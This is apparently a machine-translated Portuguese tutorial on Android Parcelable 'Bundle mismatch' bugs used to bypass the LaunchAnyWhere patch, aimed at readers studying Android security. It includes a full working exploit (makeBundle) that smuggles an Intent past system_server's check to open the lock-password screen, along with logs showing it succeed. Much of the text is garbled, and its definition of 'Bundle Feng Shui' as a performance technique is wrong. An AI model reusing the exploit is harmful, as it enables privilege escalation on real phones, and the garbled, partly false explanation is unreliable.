prefácio
Em 2023, fabricantes conhecidos da Internet continuarão a descobrir novas OEM
vulnerabilidades relacionadas ao Android App
e a realizar ataques de vulnerabilidade em sistemas de telefonia móvel convencionais no mercado atual em seus lançamentos públicos.
As descrições a seguir são todas de casos reais que estão acontecendo em centenas de milhões de telefones celulares no momento. Informações confidenciais relevantes foram processadas.
O primeiro método de hacking usado pelo fabricante da Internet App
em Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞
inofensivahabilidade .0day/Nday 攻击
StartAnyWhere
Antes de ler este artigo, entenda launchAnyWhere
a vulnerabilidade e Bundle数据结构和反序列化
:
launchAnyWhere: análise de vulnerabilidade de desvio de permissão do componente de atividade
Estrutura de dados do pacote e análise de desserialização
O que é Bundle Feng Shui
Bundle
Feng Shui ( Bundle Fengshui
) significa que no desenvolvimento Android
de aplicativos , Bundle
ao utilizar a classe para transferência de dados, é preciso ficar atento a algumas técnicas de otimização para evitar problemas de performance no processo de transferência de dados.
Como Bundle
a classe armazena dados com base em pares chave-valor e suporta a transferência de vários tipos de dados, você precisa prestar atenção aos seguintes aspectos ao usá-la:
Evite usá-lo ao passar grandes quantidades de dados Bundle
: Quando você precisar transferir grandes quantidades de dados, considere o uso de outros métodos de transferência mais eficientes, como serialização, Parcelable
etc.
Tente evitar a serialização e Parcelable
: Embora a serialização Parcelable
possa ser usada para passar objetos complexos, mas seu desempenho é baixo, deve ser evitado o máximo possível.
Use tipos de dados apropriados: ao usar Bundle
para transferir dados, você deve usar tipos de dados apropriados de acordo com as necessidades reais, como usar getInt()
em vez de getLong()
etc.
Bundle
Uso razoável API
: Bundle
A classe fornece vários API
, como putXXX()
, getXXX()
etc., que devem ser usados de acordo com as necessidades reais API
.
Evite usar Bundle
Passando grandes quantidades de dados: Bundle
As classes podem ter problemas de desempenho ao passar grandes quantidades de dados e devem ser evitadas o máximo possível.
Resumindo, Bundle
Feng Shui significa que ao utilizar Bundle
a aula para transferência de dados, é preciso ficar atento a algumas técnicas de otimização para evitar problemas de performance durante a transferência de dados.
Artigos relacionados: Apresentando o Safer Parcel do Android - Black Hat
Quando um desenvolvedor manipula Parcel
um objeto e tenta ler ou gravar dados nele, pode ocorrer um tipo de erro: o desenvolvedor, por vários motivos, pode ser muito descuidado, não considerou boas condições de contorno ou não tem conhecimento de determinado contêiner Java
tipos Há um erro que leva ao fato de que, ao processar o mesmo Parcelable
objeto, o número de bytes lidos Parcel
dele não é igual ao número de bytes gravados nele, resultando em desalinhamento. Essa é Parcelable
a vulnerabilidade de desserialização. Por exemplo, o seguinte código:
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
Obviamente, o desenvolvedor leu apenas 4 bytes ao ler, mas escreveu 8 bytes ao escrever! Isso parece muito estúpido, parece que nenhum desenvolvedor escreverá esse tipo de vulnerabilidade, mas no código real pode haver situações muito mais complicadas do que este exemplo, de modo que até os desenvolvedores do Google cometerão erros e até algumas brechas. primeira vez que vi o código, não encontrei o problema, mas demorei algumas horas para perceber que havia um problema oculto de incompatibilidade de leitura e gravação.
Revisão do código de vulnerabilidade LaunchAnyWhere
launchAnyWhere: Análise de vulnerabilidade de desvio de permissão do componente de atividade Neste artigo, apenas descrevemos brevemente este problema. Está no processo AccountManagerServic
de e AddAccount
. Depois de system_server
receber Bundle
os parâmetros, não há inspeção e os campos Settings
internos são retirados diretamente KEY_INTENT(intent)
e a interface é iniciada . Esta é uma LaunchAnyWhere
vulnerabilidade típica, Google
a correção naquele momento também foi muito simples. Após selecionar Zhongzhong para system_server
recebê Bundle
-la, tente removê-la Intent
. Se este campo existir, verifique Intent
se o componente de chamada final analisado pertence ao chamador original, evitando assim o chamador Settings
Lança qualquer Activity
.
//android-28/com/android/server/accounts/AccountManagerService.java
public class AccountManagerService
extends IAccountManager.Stub
implements RegisteredServicesCacheListener<AuthenticatorDescription> {
/****部分代码省略****/
/** Session that will encrypt the KEY_ACCOUNT_SESSION_BUNDLE in result. */
private abstract class StartAccountSession extends Session {
/****部分代码省略****/
@Override
public void onResult(Bundle result) {
Bundle.setDefusable(result, true);
mNumResults++;
Intent intent = null;
//尝试从Bundle对象中取出KEY_INTENT
if (result != null
&& (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
//对KEY_INTENT进行校验
if (!checkKeyIntent(
Binder.getCallingUid(),
intent)) {
onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
"invalid intent in bundle returned");
return;
}
}
/****部分代码省略****/
sendResponse(response, result);
}
}
private void sendResponse(IAccountManagerResponse response, Bundle result) {
try {
response.onResult(result);
} catch (RemoteException e) {
// if the caller is dead then there is no one to care about remote
// exceptions
if (Log.isLoggable(TAG, Log.VERBOSE)) {
Log.v(TAG, "failure while notifying response", e);
}
}
}
private abstract class Session extends IAccountAuthenticatorResponse.Stub
implements IBinder.DeathRecipient, ServiceConnection {
/**
* Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
* security policy.
*
* In particular we want to make sure that the Authenticator doesn't try to trick users
* into launching arbitrary intents on the device via by tricking to click authenticator
* supplied entries in the system Settings app.
*/
protected boolean checkKeyIntent(int authUid, Intent intent) {
intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
long bid = Binder.clearCallingIdentity();
try {
PackageManager pm = mContext.getPackageManager();
//解析出Intent最终调用的Activity
ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
if (resolveInfo == null) {
return false;
}
ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
int targetUid = targetActivityInfo.applicationInfo.uid;
PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
// 判断是否是导出的System Activity或Activity所属应用是否和调用者同签名,满足其中之一则允许调用
if (!isExportedSystemActivity(targetActivityInfo)
&& !pmi.hasSignatureCapability(
targetUid, authUid,
PackageParser.SigningDetails.CertCapabilities.AUTH)) {
String pkgName = targetActivityInfo.packageName;
String activityName = targetActivityInfo.name;
String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
+ "does not share a signature with the supplying authenticator (%s).";
Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
return false;
}
return true;
} finally {
Binder.restoreCallingIdentity(bid);
}
}
}
}
Settings
Intent
Chamada para enviar depois de receber startActivityForResultAsUser
:
public class AddAccountSettings extends Activity {
/****部分代码省略****/
private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
@Override
public void run(AccountManagerFuture<Bundle> future) {
boolean done = true;
try {
Bundle bundle = future.getResult();
//bundle.keySet();
//获得KEY_INTENT
Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
if (intent != null) {
done = false;
Bundle addAccountOptions = new Bundle();
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
Utils.hasMultipleUsers(AddAccountSettings.this));
addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
intent.putExtras(addAccountOptions);
//启动KEY_INTENT代表的Activity
startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
} else {
setResult(RESULT_OK);
if (mPendingIntent != null) {
mPendingIntent.cancel();
mPendingIntent = null;
}
}
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
} catch (OperationCanceledException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
} catch (IOException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} catch (AuthenticatorException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} finally {
if (done) {
finish();
}
}
}
};
}
Parcelable
Não havia nenhum problema com esse patch na época, mas até 2017, alguns pesquisadores estrangeiros descobriram em uma amostra maliciosa que a desserialização poderia ser usada para contornar esse patch, porque o patch do Google foi system_server
verificado Intent
e passado AIDL
para Settings
Então inicie a interface, que atravessa o limite do processo, que também envolve um processo de serialização e desserialização, então se passarmos, Parcelable反序列化漏洞的字节错位
pelo layout preciso, não conseguiremos encontrar isso system_server
ao verificar , mas isso só acontece após o extravio . Os pesquisadores nomearam esse método de exploração como .Intent
Intent
Settings
LaunchAnyWhere
Bundle mismatch
Incompatibilidade de pacote, como explorar a vulnerabilidade de desserialização Parcelable
Sabendo como Android
o framework Bundle
lida com os tipos, agora precisamos nos concentrar em como desenvolver um Bundle mismatch
exploit. Vamos ainda pegar a vulnerabilidade acima como exemplo e revisar nosso código de exemplo:
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
Neste exemplo, a leitura é de 4 bytes e a gravação é de 8 bytes. Em seguida, consideramos os últimos 4 bytes como o núcleo de toda a utilização. De acordo com a lógica de análise do formato Bundle descrita acima, ao serializar Depois de escrever um 0, depois lendo 4 bytes na próxima vez, onde esse 0 irá?
A resposta é que ele deve existir como o próximo Bundle key
, key string
e readString
o começo que sabemos é ler um int
como o comprimento da string primeiro. Portanto, há uma resposta para a pergunta, o 0 atrás de nós será considerado o comprimento de uma string e é uma string de comprimento 0. Observe que não é uma string, porque o campo de comprimento da null
string null
é -1
.
Agora sabemos que além this.b
do 0 escrito na frente, existirão os próximos 4 bytes padding
, então como continuaremos o layout depois? Aqui precisamos preencher outro campo de tipo, que escolhemos aqui VAL_BYTEARRAY
, que é 13, e o comprimento e o conteúdo da matriz de bytes precisam ser definidos posteriormente. Isso precisa ser combinado com a lógica antes do deslocamento. Após uma depuração cuidadosa , eu dou A resposta é a seguinte (excluindo o 0 mal colocado):
Construa um Bundle malicioso
public Bundle makeBundle() {
Bundle bundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel exp = Parcel.obtain();
exp.writeInt(3); // bundle key count
//byte[] key1Name = {0x00};//第一个元素的key我们使用\x00,其hashcode为0,我们只要布局后续key的hashcode都大于0即可
//String mismatch = new String(key1Name);
String mismatch = "mismatch";//后续元素的hashcode必须大于mismatch的hashcode
exp.writeString(mismatch);
exp.writeInt(4); // VAL_PARCELABLE
exp.writeString("com.tzx.launchanywhere.MyClass"); // class name
// 这里按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0
exp.writeInt(0);
/**********************恶意构造的内容start*********************************/
byte[] key2key = {
13, 0, 8};
String key2Name = new String(key2key);
// 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个长度=3会正常填充上padding那个位置。使得后续读取的类型为VAL_BYTEARRAY(13),前面的0用于补上4字节的高位。而8则是字节数组的长度了。
//简单来说就是13和0这俩个字符的4个字节构成13这个数字,字符8和终止符这两个字符构成8这个数字。
exp.writeString(key2Name);//整体作为长度为3的key string
// 在错位之后,这里的13和下面的值是作为8字节的字节数组的一部分
exp.writeInt(13);//这里的13则也是巧妙地被解析成了VAL_BYTEARRAY(13)
int intentSizeOffset = exp.dataPosition();
// 在错位之后上面的13和这里的值就会作为8字节的字节数组,后续就会正常解析出intent元素了,就成功绕过补丁
int evilObject = -1;//这里应为字节数组的长度,我们填写为intent元素所占用的长度,即可将intent元素巧妙地隐藏到字节数组中(此值被Intent长度覆盖)
exp.writeInt(evilObject);
int intentStartOffset = exp.dataPosition();
/**********************恶意构造的内容end*********************************/
/**********************intent内容start*********************************/
exp.writeString(AccountManager.KEY_INTENT);
exp.writeInt(4);// VAL_PARCELABLE
//可以直接构造Intent放在exp中,此处为了显示构造过程,将Intent字段逐一放入exp中
//Intent intent = new Intent(Intent.ACTION_RUN);
//intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.password.ChooseLockPassword"));
//exp.writeParcelable(intent, 0);
exp.writeString("android.content.Intent");// name of Class Loader
exp.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(exp, null); // Uri is null
exp.writeString(null); // mType is null
//exp.writeString(null); // mIdentifier is null android28没有该字段
exp.writeInt(Intent.FLAG_ACTIVITY_NEW_TASK); // Flags
exp.writeString(null); // mPackage is null
exp.writeString("com.android.settings");
exp.writeString("com.android.settings.password.ChooseLockPassword");
exp.writeInt(0); //mSourceBounds = null
exp.writeInt(0); // mCategories = null
exp.writeInt(0); // mSelector = null
exp.writeInt(0); // mClipData = null
exp.writeInt(-2); // mContentUserHint
exp.writeBundle(null);
/**********************intent内容end*********************************/
int intentEndOffset = exp.dataPosition();
//将指针设置在intent数据之前,然后写入intent的大小
exp.setDataPosition(intentSizeOffset);
int intentSize = intentEndOffset - intentStartOffset;
exp.writeInt(intentSize);
Log.d("tanzhenxing33", "intentSize=" + intentSize);
//写完之后将指针重置回原来的位置
exp.setDataPosition(intentEndOffset);
// 最后一个元素在错位之前会被当成最后一个元素,错位之后就会被忽略,因为前面已经读取的元素数已经足够
String key3Name = "Padding-Key";
//String key3Name = "padding";//hashcode排序失败
exp.writeString(key3Name);
exp.writeInt(-1);//VAL_NULL
int length = exp.dataSize();
bndlData.writeInt(length);
bndlData.writeInt(0x4c444E42);//魔数
bndlData.appendFrom(exp, 0, length);//写入数据总长度
bndlData.setDataPosition(0);
Log.d("tanzhenxing33", "length=" + length);
bundle.readFromParcel(bndlData);
return bundle;
}
Serializamos Bundle
e desserializamos a chegada do código acima para verificar o tipo de soma dentro de key
:: acabou de ser construído ;: é a segunda chegada de uma transmissão do kernel ;Value
main
Bundle
Activity
TestBundleMismatchResultActivity
Activity
D/tanzhenxing33: intentSize=324
D/tanzhenxing33: length=480
D/tanzhenxing33: file =/storage/emulated/0/Android/data/com.tzx.launchanywhere/cache/obj.pcl
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: main key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: main key = � [B
D/tanzhenxing33: main key = Padding-Key NULL
D/tanzhenxing33: MyClass:writeToParcel
D/tanzhenxing33: onCreate:TestBundleMismatchResultActivity
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: TestBundleMismatchResultActivity key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: TestBundleMismatchResultActivity key = intent android.content.Intent
D/tanzhenxing33: TestBundleMismatchResultActivity key = [B
D/tanzhenxing33: result != null,Intent { act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword }
Você pode ver o que acabou de ser construído Bunlde
:
mismatch
Correspondentementekey
,Value
écom.tzx.launchanywhere. MyClass
o tipo;�
Correspondentementekey
,Value
éByte
uma matriz;Padding-Key
Correspondentementekey
,Value
éNULL
;
Serializado e desserializado uma vez Bundle
:
mismatch
Correspondentementekey
,Value
écom.tzx.launchanywhere. MyClass
o tipo;intent
Correspondentementekey
,Value
éandroid.content.Intent
o tipo;- Correspondente a uma string vazia
key
,Value
éByte
um array;
Análise de dados binários do pacote
Na verdade, o conteúdo descrito acima é mais fácil de entender por meio das alterações nos dados binários do Bundle.
Antes de olhar para os dados binários, vamos falar sobre o alinhamento de 4 bytes da String
Alinhamento de 4 bytes de String
Em um computador, devido a razões como estrutura de armazenamento de hardware, o layout de memória de muitos tipos de dados precisa ser alinhado, o que também inclui tipos de string.
Em uma string, geralmente é armazenado em bytes.Para obter o desempenho ideal de acesso à memória, geralmente é necessário armazenar cada caractere da string em um endereço de memória de 4 bytes.
Portanto, quando o comprimento da string não for múltiplo de 4, um byte nulo extra será adicionado ao final da string para preenchimento para atender ao requisito de alinhamento de 4 bytes. Por exemplo, se a string tiver um comprimento de 5, um byte nulo será adicionado ao final para torná-la 8, o que atende ao requisito de alinhamento de 4 bytes.
Deve-se notar que esta operação de alinhamento terá um certo impacto no uso de memória, porque para muitas strings curtas, a memória real usada pode ser maior que seu comprimento. Portanto, ao processar uma grande quantidade de dados de string, é preciso ficar atento ao uso da memória para evitar problemas como memória insuficiente.
Dados no pacote gravados no arquivo
Gravamos Parcel
os dados em um arquivo para visualização:
private void writeByte(Parcel bndlData) {
try {
byte[] raw = bndlData.marshall();
File file = new File(getExternalCacheDir(), "obj.pcl");
if (file.exists()) {
file.delete();
} else {
file.createNewFile();
}
FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
fos.write(raw);
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
ver binários
O arquivo escrito é um arquivo binário, podemos od
visualizá-lo com o comando:
od -tx1 obj.pcl
Também pode hexfiend
ser visualizado por meio de ferramentas, o link para download é https://hexfiend.com/ .
Ou visualize diretamente vs cdoe
instalando hex
o plug-in relevante.
Resultados da análise de dados
Bundle
Resultados de análise de dados maliciosos construídos
Os dados maliciosos construídos
Bundle
são analisados uma vez por meio de serialização e desserialização
Comparado com o primeiro Bundle
gráfico de análise de dados, precisamos apenas prestar atenção aos resultados da análise de dados na caixa vermelha:
- Após uma serialização, mais um 0
MyClass
é escrito ;int
- Este 0 será usado como o comprimento do segundo
key
; - O terminador anterior
writeString
e os 4 bytes alinhados por bytes serão usados como um nome0
de comprimentokey
; {13, 0, 8}
Os primeiros 4 bytes gravados antes serão usados como o comprimento0
dokey
tipo de dados (VAL_BYTEARRAY
=13), e os 8 bytes seguintes e os 4 bytes alinhados por byte serão usados comoByteArray
o comprimento do comprimento, e seu valor é igual a 8;- O comprimento do escrito anteriormente (
VAL_BYTEARRAY
=13) eIntent
o comprimento desses 8 bytes como o comprimento0
de ;key
Value
- O comprimento da próxima leitura
key
é 6key
e o nome éintent
; - O último elemento será ignorado após extravio, pois o número de elementos já lidos é suficiente;
Correções de bugs
O reparo das vulnerabilidades acima parece ser muito intuitivo, basta reparar a leitura e escrita incompatíveis na MyClass
classe . Mas, na verdade, esse tipo de vulnerabilidade não é um caso isolado. Historicamente, devido ao descuido dos criadores de código, houve muitas vulnerabilidades de escalonamento de privilégios causadas por incompatibilidades de leitura e gravação, incluindo, mas não se limitando a:
CVE-2017-0806 GateKeeperResponse
CVE-2017-0664 AccessibilityNodelnfo
CVE-2017-13288 PeriodicAdvertisingReport
CVE-2017-13289 ParcelableRttResults
CVE-2017-13286 OutputConfiguration
CVE-2017-13287 VerifyCredentialResponse
CVE-2017-13310 ViewPager’s SavedState
CVE-2017-13315 DcParamObject
CVE-2017-13312 ParcelableCasData
CVE-2017-13311 ProcessStats
CVE-2018-9431 OSUInfo
CVE-2018-9471 NanoAppFilter
CVE-2018-9474 MediaPlayerTrackInfo
CVE-2018-9522 StatsLogEventWrapper
CVE-2018-9523 Parcel.wnteMapInternal0
CVE-2021-0748 ParsingPackagelmpl
CVE-2021-0928 OutputConfiguration
CVE-2021-0685 ParsedIntentInfol
CVE-2021-0921 ParsingPackagelmpl
CVE-2021-0970 GpsNavigationMessage
CVE-2021-39676 AndroidFuture
CVE-2022-20135 GateKeeperResponse
…
Outra ideia de correção é corrigir TOCTOU
a própria vulnerabilidade , ou seja, garantir que os objetos de desserialização verificados e usados sejam os mesmos, mas essa correção é apenas uma solução temporária, não a causa raiz, e os invasores podem encontrar outros caminhos de ataque e contorná-los.
Portanto, para resolver completamente esse tipo de problema sem fim, Google
é proposta uma solução simples e grosseira de liberação lenta, ou seja, comece diretamente Bundle
da classe . Embora Bundle
em si seja ArrayMap
uma estrutura, mesmo que apenas um deles precise ser obtido durante a desserialização key
, o todo precisa Bundle
ser desserializado novamente. A principal razão para isso é que o tamanho de cada elemento nos dados serializados não é fixo e é determinado pelo tipo do elemento.Se você não analisar todos os dados anteriores, não saberá onde está o elemento de destino.
Para 2021
tanto , AOSP
foi Bundle
apresentado um projeto LazyBundle(9ca6a5)
chamado de patch
. A ideia principal é que, para alguns tipos personalizados com comprimentos variáveis, como estruturas ou contêineres como Parcelable
, , Serializable
, List
etc., o tamanho dos dados correspondentes será adicionado ao cabeçalho durante a serialização. Dessa forma, ao encontrar esses tipos de dados durante a desserialização, você pode ignorar seletivamente a análise desses elementos apenas verificando o cabeçalho. Neste sMap
momento correspondente em será definido como LazyValue
, e quando esses valores são realmente usados para desserializar dados específicos.
Isso patch
pode aliviar Bundle 风水
até certo ponto o ataque contra, e também é útil para melhorar a robustez do sistema, porque mesmo para Parcel
dados , se o receptor não usar o campo correspondente, a exceção pode ser evitada. Para a estratégia Bundle
de análise , mesmo que apenas size
o método seja chamado, ele acionará a análise de todos os elementos e causará uma exceção. Um parâmetro patch
neste , se for, cada elemento será analisado da maneira tradicional, caso contrário , a análise de será ignorada.unparcel
boolean
itemwise
true
LazyValue
Os interessados podem ler o patch
registro de envio correspondente, LazyBundle(9ca6a5)
A modificação correspondente também pode ser vista no código-fonte do Android13: BaseBundle.java no android13
//android-33/android/os/Parcel.java
public final class Parcel {
/****部分代码省略****/
@Nullable
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
public final void writeValue(@Nullable Object v) {
if (v instanceof LazyValue) {
LazyValue value = (LazyValue) v;
value.writeToParcel(this);
return;
}
int type = getValueType(v);
writeInt(type);
if (isLengthPrefixed(type)) {
// Length
int length = dataPosition();
writeInt(-1); // Placeholder
// Object
int start = dataPosition();
writeValue(type, v);
int end = dataPosition();
// Backpatch length
setDataPosition(length);
writeInt(end - start);
setDataPosition(end);
} else {
writeValue(type, v);
}
}
private boolean isLengthPrefixed(int type) {
// In general, we want custom types and containers of custom types to be length-prefixed,
// this allows clients (eg. Bundle) to skip their content during deserialization. The
// exception to this is Bundle, since Bundle is already length-prefixed and already copies
// the correspondent section of the parcel internally.
switch (type) {
case VAL_MAP:
case VAL_PARCELABLE:
case VAL_LIST:
case VAL_SPARSEARRAY:
case VAL_PARCELABLEARRAY:
case VAL_OBJECTARRAY:
case VAL_SERIALIZABLE:
return true;
default:
return false;
}
}
}
Endereço do código LaunchAnyWhere
O artigo está todo contado aqui, se você tiver outras necessidades de comunicação, pode deixar uma mensagem~!
Artigo de referência:
Fale sobre a vulnerabilidade de desserialização Parcelable e incompatibilidade de pacote
Vulnerabilidade de desserialização do Android e histórico de defesa